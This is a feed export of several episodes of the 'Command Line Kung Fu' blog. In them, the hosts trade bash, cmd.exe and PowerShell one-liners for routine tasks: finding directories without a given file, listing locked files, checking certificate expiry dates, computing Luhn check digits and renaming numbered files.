tag:blogger.com,1999:blog-68490152588027811392024-03-14T03:40:12.444-04:00Command Line Kung FuThis blog will include fun, useful, interesting, security related, non-security related, tips, and tricks associated with the command line. It will include OS X, Linux, and even Windows!Unknownnoreply@blogger.comBlogger185125tag:blogger.com,1999:blog-6849015258802781139.post-1981971097116489772017-10-03T09:00:00.000-04:002017-10-03T14:49:50.437-04:00Episode #181: Making Contact<span style="font-size: medium;">Hal wanders back on stage</span>
<br />
Whew! Sure is dusty in here!<br />
Man, those were the days! It started with Ed jamming on Twitter and me heckling from the audience. Then Ed invited me up on stage (once we built the stage), and that was some pretty sweet kung fu. Then Tim joined the band, Ed left, and the miles, and the booze, and the groupies got to be too much.<br />
But we still get fan mail! Here's one from superfan Josh Wright that came in just the other day:<br />
<i>I have a bunch of sub-directories, all of which have files of various names. I want to produce a list of directories that </i>do not<i> have a file starting with "ContactSheet-*.jpg".</i><br />
<i>I thought I would just use "find" with "-exec test":</i><br />
<pre>find . -type d \! -exec test -e "{}/ContactSheet\*" \; -print</pre>
<i>Unfortunately, "test" doesn't support globbing, so this always fails.</i><br />
<i>Here's a sample directory tree and files. I thought this might be an interesting CLKF topic.</i><br />
<pre>$ <strong>ls</strong>
Adriana Alessandra Gisele Heidi Jelena Kendall Kim Miranda
$ <strong>ls *</strong>
Adriana:
Adriana-1.jpg Adriana-3.jpg Adriana-5.jpg
Adriana-2.jpg Adriana-4.jpg Adriana-6.jpg
Alessandra:
Alessandra-1.jpg Alessandra-4.jpg ContactSheet-Alessandra.jpg
Alessandra-2.jpg Alessandra-5.jpg
Alessandra-3.jpg Alessandra-6.jpg
Gisele:
Gisele-1.jpg Gisele-3.jpg Gisele-5.jpg
Gisele-2.jpg Gisele-4.jpg Gisele-6.jpg
Heidi:
ContactSheet-Heidi.jpg Heidi-2.jpg Heidi-4.jpg Heidi-6.jpg
Heidi-1.jpg Heidi-3.jpg Heidi-5.jpg
Jelena:
ContactSheet-Jelena.jpg Jelena-2.jpg Jelena-4.jpg Jelena-6.jpg
Jelena-1.jpg Jelena-3.jpg Jelena-5.jpg
Kendall:
Kendall-1.jpg Kendall-3.jpg Kendall-5.jpg
Kendall-2.jpg Kendall-4.jpg Kendall-6.jpg
Kim:
ContactSheet-Kim.jpg Kim-2.jpg Kim-4.jpg Kim-6.jpg
Kim-1.jpg Kim-3.jpg Kim-5.jpg
Miranda:
Miranda-1.jpg Miranda-3.jpg Miranda-5.jpg
Miranda-2.jpg Miranda-4.jpg Miranda-6.jpg</pre>
OK, Josh. I'm feeling you on this one. Maybe I can find some of the lost magic.<br />
Because Josh started this riff with a "find" command, my brain went there first. But my solutions all ended up being variants on running two find commands-- get a list of the directories with "ContactSheet" files and "subtract" that from the list of all directories. Here's one of those solutons:<br />
<pre>$ <strong>sort <(find * -type d) <(find * -name ContactSheet-\* | xargs dirname) | uniq -u</strong>
Adriana
Gisele
Kendall
Miranda</pre>
The first "find" gets me all the directory names. The second "find" gets all of the "ContactSheet" files, and then that output gets turned into a list of directory names with "xargs dirname". Then I use the "<(...)" construct to feed both lists of directories into the "sort" command. "uniq -u" gives me a list of the directories that only appear once-- which is the directories that <i>do not</i> have a "ContactSheet" file in them.<br />
But I wasn't cool with running the two "find" commands-- especially when we might have a big set of directories. And then it hit me. Just like our CLKF jam is better when I had my friends Ed and Tim rocking out with me, we can make this solution better by combining our selection criteria into a single "find" command:<br />
<pre>$ <strong>find * \( -type d -o -name ContactSheet\* \) | sed 's/\/ContactSheet.*//' | uniq -u</strong>
Adriana
Gisele
Kendall
Miranda</pre>
By itself, the "find" command gives me output like this:<br />
<pre>$ <strong>find * \( -type d -o -name ContactSheet\* \)</strong>
Adriana
Alessandra
Alessandra/ContactSheet-Alessandra.jpg
Gisele
Heidi
Heidi/ContactSheet-Heidi.jpg
Jelena
Jelena/ContactSheet-Jelena.jpg
Kendall
Kim
Kim/ContactSheet-Kim.jpg
Miranda</pre>
Then I use "sed" to pick off the file name, and I end up with the directory list with the duplicate directory names already sorted together. That means I can just feed the results into "uniq -u" and everything is groovy!<br />
Cool, man. That was cool. Now if only my friends Ed and Tim were here, that would be something else.<br />
<br />
<span style="font-size: medium;">A Wild-Eyed Man Appears on Stage for the First Time Since December 2013</span><br />
<div>
<span style="font-size: small;">Wh-wh-where am I? Why am I covered with dust? Who <i style="font-size: medium;">are</i> you people? What's going on?</span></div>
<div>
<span style="font-size: small;"><br /></span></div>
<div>
<span style="font-size: small;">This all looks so familiar. It reminds me of... of... those halcyon days of the early Command Line Kung Fu blog. A strapping young Tim Medin throwing down some amazing shell tricks. Master Hal Pomeranz busting out beautiful bash fu. Wow... those were the days. Where the heck have I been?</span></div>
<div>
<span style="font-size: small;"><br /></span></div>
<div>
<span style="font-size: small;">Oh wait... what? You want me to solve Josh's dilemma using cmd.exe? What, am I a trained monkey who dances for you when you turn the crank on the music box? Oh I can hear the sounds now. That lovely music box... with its beautiful tunes that are so so so hypnotizing... so hypnotizing...</span></div>
<div>
<span style="font-size: small;"><br /></span></div>
<div>
<i>...and then Ed starts to dance...</i></div>
<div>
<br /></div>
<div>
I originally thought, "Uh-oh... a challenge posed by Josh Wright and then smashed by Hal is gonna be an absolute pain in the neck in cmd.exe, the <a href="https://www.youtube.com/watch?v=29iPMa1YdW4">Ruprecht</a> of shells." But then, much to my amazement, the answer all came together in about 3 minutes. Here ya go, Big Josh.</div>
<div>
<pre><strong>
c:\> for /D /R %i in (*) do @dir /b %i | find "ContactSheet" > nul || echo %i</strong></pre>
</div>
<br />
<div>
The logic works thusly:</div>
<div>
<br /></div>
<div>
I've got a "for" loop, iterating over directories (/D) in a recursive fashion (/R) with an iterator variable of %i which will hold the directory names. I do this for everything in the current working directory and down (in (*)... although you could put a directory path in there to start at a different directory). That'll spit out each directory. At each iteration through the loop, I do the following:</div>
<div>
<ul>
<li>Turn off the display of commands so it doesn't clutter the output (@)</li>
<li>Get a directory listing of the current directory indicated by the iterator variable, %i. I want this directory listing in bare form without the Volume Name and Size cruft but <i>with</i> full path (/b). That'll spew all these directories and their contents on standard out. Remember, I'm recursing using the /R in my for loop, so I don't need to use a /s in my dir command here.</li>
<li>I take the output of the dir command and pipe it through the find command to look for the string "ContactSheet". I throw out the output of the find command, because it's a bunch of cruft where it actually finds ContactSheet.</li>
<li>But, if the find command FAILS to see the string "ContactSheet" (||), I want to display the path of the directory where it failed, so I echo %i.</li>
</ul>
</div>
<div>
Voilamundo! There you go! The output looks like this:</div>
<div>
<br /></div>
<div>
<pre><strong>c:\tmp\test>for /D /r %i in (*) do @dir /b /s %i | find "ContactSheet" > nul || echo %i</strong>
c:\tmp\test\ChrisFall
c:\tmp\test\dan
c:\tmp\test\Fred\Fred2</pre>
</div>
<div>
</div>
<br />
<div>
I'd like to thank Josh for the most engaging challenge! I'll now go back into my hibernative state.... Zzzzzzzzz...</div>
<div>
<br />
<i>...and then Tim grabs the mic...</i><br />
<br />
What a fantastic throwback, a reunion of sorts. Like the return of Guns n' Roses, but more Welcome to the Jungle than Paradise City, it gets worse here everyday. We got everything you want honey, we know the commands. We are the people that can find whatever you may need.<br />
<br />
Uh, sorry... I've missed the spotlight here. Let's get back to the commands. Here is a working command in long form and shortened form:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">PS C:\Photos> <b>Get-ChildItem -Directory | Where-Object { -not (Get-ChildItem -Path $_ -Filter ContactSheet*) }</b></span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">PS C:\Photos> <b>ls -di | ? { -not (ls $_ -Filter ContactSheet*) }</b></span><br />
<br />
Let's take it <strike>day</strike> piece by <strike>day</strike> piece. If you want it you're gonna bleed but it's the price to pay. Well, actually, it isn't that difficult so no bleeding will be involved.<br />
<br />
The first portion simply gets a list of directories in the current directory.<br />
<br />
Next, we have a Where-Object filter that will pass the proper objects down the pipeline. In the filter we need to look for files in the directory passed down the pipeline ($_) containing files that start with ContactSheet. We simply invert the search with the -not operator.<br />
<br />
With this command you can have everything you want but you better not take it from me... the other guys did some excellent work. We've missed ya'll and hopefully we will see you again. Now back into the cave to hibernate.<br />
<div>
</div>
</div>
Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-76888682404596088422014-12-31T07:00:00.000-05:002014-12-31T07:00:07.434-05:00Episode #180: Open for the Holidays!<span style="font-size: medium;">Not-so-Tiny Tim checks in with the ghost of Christmas present:</span>
<p> I know many of you have been sitting on Santa's lap wishing for more Command Line Kung Fu. Well, we've heard your pleas and are pushing one last Episode out before the New Year!</p>
<p>We come bearing a solution for a problem we've all encountered. Ever try to delete or modify a file and receive an error message that the file is in use? Of course you have! The real problem is trying to track down the user and/or process that has the file locked.</p>
<p>I have a solution for you on Windows, "<a href="http://technet.microsoft.com/en-us/library/bb490961.aspx">openfiles</a>". Well, sorta. This time of year I can't risk getting on Santa's bad side so let me add the disclaimer that it is only a partial solution. Here's what I mean, let's look for open files:</p>
<pre>C:\> <strong>openfiles</strong>
INFO: The system global flag 'maintain objects list' needs
to be enabled to see local opened files.
See Openfiles /? for more information.
Files opened remotely via local share points:
---------------------------------------------
INFO: No shared open files found.</pre>
<p>By default when we run this command it gives us an error that we haven't enabled the feature. Wouldn't it be nice if we could simply turn it on and then look at the open files. Yes, it would be nice...but no. You have to reboot. This present is starting to look a lot like a lump of coal. So you need know that you will encounter the problem before it happens so you can be ready for it. Bah-Humbug!</p>
<p>To enable "openfile" run this command:</p>
<pre>C:\> <strong>openfile /local on</strong>
SUCCESS: The system global flag 'maintain objects list' is enabled.
This will take effect after the system is restarted.</pre>
<p>...then reboot.</p>
<p>Of course, now that we've rebooted the file will be unlocked, but we are prepared for next time. So next time when it happens we can run this command to see the results (note: if you don't specify a switch /query is implied):</p>
<pre>C:\> <strong>openfiles /query</strong>
Files Opened Locally:
---------------------
ID Process Name Open File (Path\executable)
===== ==================== ==================================================
8 taskhostex.exe C:\Windows\System32
224 taskhostex.exe C:\Windows\System32\en-US\taskhostex.exe.mui
296 taskhostex.exe C:\Windows\Registration\R00000000000d.clb
324 taskhostex.exe C:\Windows\System32\en-US\MsCtfMonitor.dll.mui
752 taskhostex.exe C:\Windows\System32\en-US\winmm.dll.mui
784 taskhostex.exe C:\..\Local\Microsoft\Windows\WebCache\V01tmp.log
812 taskhostex.exe C:\Windows\System32\en-US\wdmaud.drv.mui
...</pre>
<p>Of course, this is a quite long list. You can use use "find" or "findstr" to filter the results, but be aware that long file names are truncated (see ID 784). You can get a full list by changing the format with "/fo LIST". However, the file name will be on a separate line from the owning process and neither "find" nor "findstr" support context.</p>
<p>Another oddity, is that there seems to be duplicate IDs.</p>
<pre>C:\> <strong>openfiles /query | find "888"</strong>
888 chrome.exe C:\Windows\Fonts\consola.ttf
888 Lenovo Transition.ex C:\..\Lenovo\Lenovo Transition\Gui\yo_btn_g3.png
888 vprintproxy.exe C:\Windows\Registration\R00000000000d.clb</pre>
<p>Different processes with different files, all with the same ID. This means that when you disconnect the open file you better be careful.</p>
<p>Speaking of disconnecting the files, we can do just that with the /disconnect switch. We can disconnect by ID (ill advised) with the /id switch. We can also disconnect all the files based on the user:</p>
<pre>C:\> <strong>openfiles /disconnect /a jacobmarley</strong></pre>
<p>Or the file name:</p>
<pre>C:\> <strong>openfiles /disconnect /op "C:\Users\tm\Desktop\wishlist.txt" /a *</strong></pre>
<p>Or even the directory:</p>
<pre>C:\> <strong>openfiles /disconnect /op "C:\Users\tm\Desktop\" /a *</strong></pre>
<p>We can even run this against a remote system with the /s SERVERNAME option.</p>
<p>This command is far from perfect, but it is pretty cool.</p>
<p>Sadly, there is no built-in capability in PowerShell to do this same thing. With PowerShell v4 we get <a href="http://technet.microsoft.com/en-us/library/jj635701.aspx">Get-SmbOpenFile</a> and <a href="http://technet.microsoft.com/en-us/library/jj635721.aspx">Close-SmbOpenFile</a>, but they only work on files opened over the network, not on files opened locally. </p>
<p>Now it is time for Mr. <span style="text-decoration: line-through;">Scrooge</span> Pomeranz to ruin my day by using some really useful, built-in, and ENABLED features of Linux.</p>
<span style="font-size: medium;">It's a Happy Holiday for Hal:</span>
<p>Awww, Tim got me the nicest present of all-- a super-easy Command-Line Kung Fu Episode to write!</p>
<p>This one's easy because Linux comes with <tt>lsof</tt>, a magical tool surely made by elves at the North Pole. I've talked about <tt>lsof</tt> in
<a href="http://blog.commandlinekungfu.com/2009/04/episode-22-death-to-processes.html">several</a>
<a href="http://blog.commandlinekungfu.com/2009/11/episode-69-destroy-all-connections.html">other</a>
<a href="http://blog.commandlinekungfu.com/2010/01/episode-76-say-hello-to-my-little.html">Episodes</a>
<a href="http://blog.commandlinekungfu.com/2010/01/episode-78-advanced-process-whack-mole.html">already</a> but so far I've focused more on network and process-related queries than checking objects in the file system.</p>
<p>The simplest usage of <tt>lsof</tt> is checking which processes are using a single file:</p>
<pre># <b>lsof /var/log/messages</b>
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
rsyslogd 1250 root 1w REG 8,3 13779999 3146461 /var/log/messages
abrt-dump 5293 root 4r REG 8,3 13779999 3146461 /var/log/messages</pre>
<p>Here we've got two processes that have <tt>/var/log/messages</tt> open-- <tt>rsyslogd</tt> for writing (see the "1w" in the "FD" column, where the "w" means writing), and <tt>abrt-dump</tt> for reading ("4r", "r" for read-only).</p>
<p>You can use "<tt>lsof +d</tt>" to see all open files in a given directory:</p>
<pre># <b>lsof +d /var/log</b>
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
rsyslogd 1250 root 1w REG 8,3 14324534 3146461 /var/log/messages
rsyslogd 1250 root 2w REG 8,3 175427 3146036 /var/log/cron
rsyslogd 1250 root 5w REG 8,3 1644575 3146432 /var/log/maillog
rsyslogd 1250 root 6w REG 8,3 2663 3146478 /var/log/secure
abrt-dump 5293 root 4r REG 8,3 14324534 3146461 /var/log/messages</pre>
<p>The funny thing about "<tt>lsof +d</tt>" is that it only shows you open files in the top-level directory, but not in any sub-directories. You have to use "<tt>lsof +D</tt>" for that:</p>
<pre># <b>lsof +D /var/log</b>
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
rsyslogd 1250 root 1w REG 8,3 14324534 3146461 /var/log/messages
rsyslogd 1250 root 2w REG 8,3 175427 3146036 /var/log/cron
rsyslogd 1250 root 5w REG 8,3 1644575 3146432 /var/log/maillog
rsyslogd 1250 root 6w REG 8,3 2663 3146478 /var/log/secure
httpd 3081 apache 2w REG 8,3 586 3146430 /var/log/httpd/error_log
httpd 3081 apache 14w REG 8,3 0 3147331 /var/log/httpd/access_log
...</pre>
<p>Unix-like operating systems track open files on a per-partition basis. This leads to an interesting corner-case with <tt>lsof</tt>: if you run <tt>lsof</tt> on a partition boundary, you get a list of all open files under that partition:</p>
<pre># <b>lsof /</b>
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
init 1 root cwd DIR 8,3 4096 2 /
init 1 root rtd DIR 8,3 4096 2 /
init 1 root txt REG 8,3 150352 12845094 /sbin/init
init 1 root DEL REG 8,3 7340061 /lib64/libnss_files-2.12.so
init 1 root DEL REG 8,3 7340104 /lib64/libc-2.12.so
...
# <b>lsof / | wc -l</b>
3500</pre>
<p>Unlike Windows, Linux doesn't really have a notion of disconnecting processes from individual files. If you want a process to release a file, you kill the process. <tt>lsof</tt> has a "<tt>-t</tt>" flag for <i>terse output</i>. In this mode, it only outputs the PIDs of the matching processes. This was designed to allow you to easily substitute the output of <tt>lsof</tt> as the arguments to the kill command. Here's the little trick I showed back in <a href="http://blog.commandlinekungfu.com/2009/04/episode-22-death-to-processes.html">Episode 22</a> for forcibly unmounting a file system:</p>
<pre># <b>umount /home</b>
umount: /home: device is busy
# <b>kill $(lsof -t /home)</b>
# <b>umount /home</b></pre>
<p>Here we're exploiting the fact that <tt>/home</tt> is a partition mount point so <tt>lsof</tt> will list all processes with files open anywhere in the file system. Kill all those processes and Santa might leave coal in your stocking next year, but you'll be able to unmount the file system!</p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-88110772047682214572014-06-30T17:51:00.000-04:002014-06-30T17:51:47.874-04:00Episode #179: The Check is in the Mail<span style="font-size: medium;">Tim mails one in:</span>
<p>Bob Meckle writes in:</p>
<p><i>I have recently come across a situation where it would be greatly beneficial to build a script to check revocation dates on certificates issued using a certain template, and send an email to our certificate staff letting them know which certificates will expire within the next 6 weeks. I am wondering if you guys have any tricks up your sleeve in regards to this situation?</i></p>
<p>Thanks for writing in Bob. This is actually quite simple on Windows. One of my favorite features of PowerShell is that dir (an alias for Get-ChildItem) can be used on pretty much any hierarchy, including the certificate store. After we have a list of the certificates we simply filter by the expiration date. Here is how we can find expiring certificates:</p>
<pre>PS C:\> <strong>Get-ChildItem -Recurse cert: | Where-Object { $_.NotAfter -le (Get-Date).AddDays(42) -and $_.NotAfter -ge (Get-Date) }</strong></pre>
<p>We start off by getting a recursive list of the certificates. Then the results are piped into the Where-Object cmdlet to filter for the certificates that expire between today and six weeks (42 days) from now (inclusive). Additional filtering can be added by simply modifying the Where-Object filter, per Bob's original request. We can shorten the command using aliases and shortened parameter names, as well as store the output to be emailed.</p>
<pre>PS C:\> <strong>$tomail = ls -r cert: | ? { $_.NotAfter -le (Get-Date).AddDays(42) -and $_.NotAfter -ge (Get-Date) }</strong></pre>
<p>Emailing is quite simple too. PowerShell version 4 adds a new cmdlet, <a href="http://technet.microsoft.com/en-us/library/hh849925.aspx">Send-MailMessage</a>. We can send the certificate information like this:</p>
<pre>PS C:\> <strong>Send-MailMessage -To me@blah.com -From cert@blah.com -Subject "Expiring Certs" -Body $tomail</strong></pre>
<p>Pretty darn simple if you ask me. Hal, what do you have up your sleeve?</p>
<span style="font-size: medium;">Hal relies on his network:</span>
<p>Tim, you're getting soft with all these cool PowerShell features. Why when I was your age... Oh, nevermind! Kids these days! Hmph!</p>
<p>If I'm feeling curmudgeonly, it's because this is far from a cake-walk in Linux. Obviously, I can't check a Windows certificate store remotely from a Linux machine. So I thought I'd focus on checking remote web site certificates (which could be Windows, Linux, or anything else) from my Linux command line.</p>
<p>The trick for checking a certificate is fairly well documented on the web:</p>
<pre>$ <b>echo | openssl s_client -connect www.google.com:443 2>/dev/null |
openssl x509 -noout -dates</b>
notBefore=Jun 4 08:58:29 2014 GMT
notAfter=Sep 2 00:00:00 2014 GMT</pre>
<p>We use the OpenSSL built-in "s_client" to connect to the target web server and dump the certificate information. The "2>/dev/null" drops some extraneous standard error logging. The leading "echo" piped into the standard input makes sure that we close the connection right after receiving the certificate info. Otherwise our command line will hang and never return to the shell prompt. We then use OpenSSL again to output the information we want from the downloaded certificate. Here we're just requesting the "-dates"-- "-noout" stops the openssl command from displaying the certificate itself.</p>
<p>However, there is much more information you can parse out. Here's a useful report that displays the certificate issuer, certificate name, and fingerprint in addition to the dates:</p>
<pre>$ <b>echo | openssl s_client -connect www.google.com:443 2>/dev/null |
openssl x509 -noout -issuer -subject -fingerprint -dates</b>
issuer= /C=US/O=Google Inc/CN=Google Internet Authority G2
subject= /C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
SHA1 Fingerprint=F4:E1:5F:EB:F1:9F:37:1A:29:DA:3A:74:BF:05:C5:AD:0A:FB:B1:95
notBefore=Jun 4 08:58:29 2014 GMT
notAfter=Sep 2 00:00:00 2014 GMT</pre>
<p>If you want a complete dump, just use "... | openssl x509 -text".</p>
<p>But let's see if we can answer Bob's question, at least for a single web server. Of course, that's going to involve some date arithmetic, and the shell is clumsy at that. First I need to pull off just the "notAfter" date from my output:</p>
<pre>$ <b>echo | openssl s_client -connect www.google.com:443 2>/dev/null |
openssl x509 -noout -dates | tail -1 | cut -f2 -d=</b>
Sep 2 00:00:00 2014 GMT</pre>
<p>You can convert a time stamp string like this into a "Unix epoch" date with the GNU date command:</p>
<pre>$ <b>date +%s -d 'Sep 2 00:00:00 2014 GMT'</b>
1409616000</pre>
<p>To do it all in one command, I just use "$(...) for command output substitution:</p>
<pre>$ <b>date +%s -d "$(echo | openssl s_client -connect www.google.com:443 2>/dev/null |
openssl x509 -noout -dates | tail -1 | cut -f2 -d=)"</b>
1409616000</pre>
<p>I can calculate the difference between this epoch date and the current epoch date ("date +%s") with some shell arithmetic and more command output substitution:</p>
<pre>$ <b>echo $(( $(date +%s -d "$(echo | openssl s_client -connect www.google.com:443 2>/dev/null |
openssl x509 -noout -dates | tail -1 | cut -f2 -d=)")
- $(date +%s) ))</b>
5452606</pre>
<p>Phew! This is already getting pretty long-winded, but now I can check my result against Bob's 6 week threshold (that's 42 days or 3628800 seconds):</p>
<pre>$ <b>[[ $(( $(date +%s -d "$(echo | openssl s_client -connect www.google.com:443 2>/dev/null |
openssl x509 -noout -dates | tail -1 | cut -f2 -d=)") - $(date +%s) ))
-gt 3628800 ]] && echo GOOD || echo EXPIRING</b>
GOOD</pre>
<p>Clearly this is straying all too close to the borders of Scriptistan, but if you wanted to check several web sites, you could add an outer loop:</p>
<pre>$ <b>for d in google.com sans.org facebook.com twitter.com; do
echo -ne $d\\t;
[[ $(( $(date +%s -d "$(echo | openssl s_client -connect www.$d:443 2>/dev/null |
openssl x509 -noout -dates | tail -1 | cut -f2 -d=)") - $(date +%s) ))
-gt 3628800 ]] && echo GOOD || echo EXPIRING;
done</b>
google.com GOOD
sans.org GOOD
facebook.com GOOD
twitter.com GOOD</pre>
<p>See? It's all good, Bob!</p>Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-83000774299118200012014-05-26T05:00:00.000-04:002014-05-28T12:51:29.116-04:00Episode #178: Luhn-acy<span style="font-size: medium;">Hal limbers up in the dojo</span>
<p>To maintain our fighting trim here in the Command Line Kung Fu dojo, we like to set little challenges for ourselves from time to time. Of course, we prefer it when our loyal readers send us ideas, so keep those emails coming! Really... please oh please oh please keep those emails coming... please, please, please... ahem, but I digress.</p>
<p>All of the data breaches in the news over the last year got me thinking about credit card numbers. As many of you are probably aware, credit card numbers have a <a href="http://en.wikipedia.org/wiki/Luhn_algorithm" target="_blank">check digit</a> at the end to help validate the account number. The Luhn algorithm for computing this digit is moderately complicated and I wondered how much shell code it would take to compute these digits.</p>
<p>The Luhn algorithm is a right-to-left calculation, so it seemed like my first task was to peel off the last digit and be able to iterate across the remaining digits in reverse order:</p>
<pre>$ <b>for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do echo $d; done</b>
8
7
6
5
4
3
2
1</pre>
<p>The "rev" utility flips the order of our digits, and then we just grab everything from the second digit onwards with "cut". We use a little "sed" action to break the digits up into a list we can iterate over.</p>
<p>Then I started thinking about how to do the "doubling" calculation on every other digit. I could have set up a shell function to calculate the doubling each time, but with only 10 possible outcomes, it seemed easier to just create an array with the appropriate values:<p>
<pre>$ <b>doubles=(0 2 4 6 8 1 3 5 7 9)</b>
$ <b>for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do echo $d ${doubles[$d]}; done</b>
8 7
7 5
6 3
5 1
4 8
3 6
2 4
1 2</pre>
<p>Then I needed to output the "doubled" digit only every other digit, starting with the first from the right. That means a little modular arithmetic:</p>
<pre>$ <b>c=0</b>
$ <b>for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
echo $(( ++c % 2 ? ${doubles[$d]} : $d ));
done</b>
7
7
3
5
8
3
4
1</pre>
<p>I've introduced a counting variable, "$c". Inside the loop, I'm evaluating a conditional expression to decide if I need to output the "double" of the digit or just the digit itself. There are several ways I could have handled this conditional operation in the shell, but having it in the mathematical "$((...))" construct is particularly useful when I want to calculate the total:</p>
<pre>$ <b>c=0; t=0;</b>
$ <b>for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
t=$(( $t + (++c % 2 ? ${doubles[$d]} : $d) ));
done</b>
$ <b>echo $t</b>
38</pre>
<p>We're basically done at this point. Instead of outputting the total, "$t", I need to do one more calculation to produce the Luhn digit:</p>
<pre>$ <b>c=0; t=0;</b>
$ <b>for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
t=$(( $t + (++c % 2 ? ${doubles[$d]} : $d) ));</b>
$ <b>echo $(( ($t * 9) % 10 ))</b>
2</pre>
<p>Here's the whole thing in one line of shell code, including the array definition:</p>
<pre>doubles=(0 2 4 6 8 1 3 5 7 9);
c=0; t=0;
for d in $(echo 123456789 | rev | cut -c2- | sed 's/\(.\)/\1 /g'); do
t=$(( $t + (++c % 2 ? ${doubles[$d]} : $d) ));
done;
echo $(( ($t * 9) % 10 ))</pre>
<p>Even with all the extra whitespace, the whole thing fits in under 100 characters! Grand Master Ed would be proud.</p>
<p>I'm not even going to ask Tim to try and do this in CMD.EXE. Grand Master Ed could have handled it, but we'll let Tim use his PowerShell training wheels. I'm just wondering if he can do it so it still fits inside a Tweet...</p>
<span style="font-size: medium;">Tim checks Hal's math</span>
<p>I'm not quite sure how Hal counts, but I when I copy/paste and then use Hal's own wc command I get 195 characters. It is less than *2*00 characters, not long enough to tweet.</p>
<p>Here is how we can accomplish the same task in PowerShell. I'm going to use a slightly different method than Hal. First, I'm going to use his lookup method as it is more terse then doing the extra match via if/then. In addition, I am going to extend his method a little to save a little space.</p>
<pre>PS C:\> <b>$lookup = @((0..9),(0,2,4,6,8,1,3,5,7,9));</b></pre>
<p>This mutli-dimensional array contains a lookup for the number as well as the doubled number. That way I can index the value without an if statement to save space. Here is an example:</p>
<pre>PS C:\> <b>$isdoubled = $false</b>
PS C:\> <b>$lookup[$isdoubled][6]</b>
6
PS C:\> <b>$isdoubled = $true</b>
PS C:\> <b>$lookup[$isdoubled][7]</b>
15</pre>
<p>The shortest way to get each digit, from right to left, is by using regex (regular expression) match and working right to left. A longer way would be to use the string, convert it to a char array, then reverse it but that is long, ugly, and we need to use an additional variable.</p>
<p>The results are fed into a ForEach-Object loop. Before the objects (the digits) passed down the pipeline are handled we need to initialize a few variables, the total and the boolean $isdoubled variables in -Begin. Next, we add the digits up by accessing the items in our array as well as toggling the $isdoubled variable. Finally, we use the ForEach-Object's -End to output the final value of $sum.</p>
<pre>PS C:\> <b>([regex]::Matches('123456789','.','RightToLeft')) | ForEach-Object
-Begin { $sum = 0; $isdoubled = $false} -Process { $sum += $l[$isdoubled][[int]$_.value]; $d = -not $d }
-End { $sum }</b></pre>
<p>We can shorten the command to this to save space.</p>
<pre>PS C:\> <b>$l=@((0..9),(0,2,4,6,8,1,3,5,7,9));
([regex]::Matches('123456789','.','RightToLeft')) | %{ $s+=$l[$d][$_.value];$d=!$d} -b{$s=0;$d=0} -en{$s}</b></pre>
<p>According to my math this is exactly 140 characters. I could trim another 2 by removing a few spaces too. It's tweetable!</p>
<p>I'll even throw in a bonus version for cmd.exe:</p>
<pre>C:\> <b>powershell -command "$l=@((0..9),(0,2,4,6,8,1,3,5,7,9));
([regex]::Matches("123456789",'.','RightToLeft')) | %{ $s+=$l[$d][$_.value];$d=!$d} -b{$s=0;$d=0} -en{$s}"</b></pre>
<p>Ok, it is a bit of cheating, but it does run from CMD.</p>
<span style="font-size: medium;">Hal gets a little help</span>
<p>I'm honestly not sure where my brain was at when I was counting characters in my solution. Shortening variable names and removing all extraneous whitespace, I can get my solution down to about 150 characters, but no smaller.</p>
<p>Happily, Tom Bonds wrote in with this cute little blob of awk which accomplishes the mission:</p>
<pre>
awk 'BEGIN{split("0246813579",d,""); for (i=split("12345678",a,"");i>0;i--) {t += ++x % 2 ? d[a[i]+1] : a[i];} print (t * 9) % 10}'
</pre>
<p>Here it is with a little more whitespace:</p>
<pre>
awk 'BEGIN{ split("0246813579",d,"");
for (i=split("12345678",a,"");i>0;i--) {
t += ++x % 2 ? d[a[i]+1] : a[i];
}
print (t * 9) % 10
}'
</pre>
<p>Tom's getting a lot of leverage out of the "split()" operator and using his "for" loop to count backwards down the string. awk is automatically initializing his $t and $x variables to zero each time his program runs, whereas in the shell I have to explicitly set them to zero or the
values from the last run will be used.</p>
<p>Anyway, Tom's original version definitely fits in a tweet! Good show, Tom!</p>Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-85895647003808482512014-04-30T21:01:00.003-04:002014-04-30T21:01:54.838-04:00Episode #177: There and Back Again<span style="font-size: medium;">Hal finds some old mail</span>
<p>Way, way back after <a href="http://blog.commandlinekungfu.com/2013/09/episode-170-fearless-forensic-file-fu.html" target="_blank">Episode #170</a> Tony Reusser sent us a follow-up query. If you recall, <a href="http://blog.commandlinekungfu.com/2013/09/episode-170-fearless-forensic-file-fu.html" target="_blank">Episode #170</a> showed how to change files named "fileaa", "fileab", "fileac", etc to files named "file.001", "file.002", "file.003". Tony's question was how to go back the other way-- from "file.001" to "fileaa", "file.002" to "fileab", and so on.</p>
<p>Why would we want to do this? Heck, I don't know! Ask Tony. Maybe he just wants <s>to torture</s> us to build character. Well we here at Command Line Kung Fu fear no characters, though we may occasionally lose reader emails behind the refrigerator for several months.</p>
<p>The solution is a little scripty, but I did actually type it in on the command line:</p>
<pre> c=1
for l1 in {a..z}; do
for l2 in {a..z}; do
printf -v ext %03d $(( c++ ))
[[ -f file.$ext ]] && mv file.$ext file$l1$l2 || break 2
done
done</pre>
<p>There are two nested loops here which work together to create our alphabetic file extensions. $l1 represents the first of the two letters, ranging from 'a' to 'z'. $l2 is the second letter, also ranging from 'a' to 'z'. Put them next to each other and you get "aa", "ab", "ac", etc.</p>
